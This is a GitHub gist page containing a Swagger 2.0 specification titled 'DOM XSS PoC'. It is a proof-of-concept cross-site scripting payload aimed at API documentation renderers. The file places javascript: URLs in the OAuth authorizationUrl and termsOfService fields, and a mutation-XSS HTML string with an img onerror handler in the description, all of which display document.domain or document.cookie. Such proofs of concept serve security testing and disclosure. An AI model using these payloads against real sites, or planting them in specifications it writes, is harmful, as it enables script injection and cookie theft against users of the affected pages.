-
-
Save emadshanab/c691d85888d156ccac9e36cb4412fdfe to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| swagger: '2.0' | |
| securityDefinitions: | |
| a: | |
| type: oauth2 | |
| authorizationUrl: javascript:alert(document.domain)// | |
| info: | |
| version: "0.0.1" | |
| title: DOM XSS PoC | |
| description: '<form><math><mtext></form><form><mglyph><svg><mtext><style><path id="</style><img onerror=alert(document.cookie) src>">' | |
| termsOfService: "javascript:alert(document.cookie)" | |
| paths: | |
| /: | |
| get: | |
| responses: | |
| 200: | |
| description: Echo GET |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment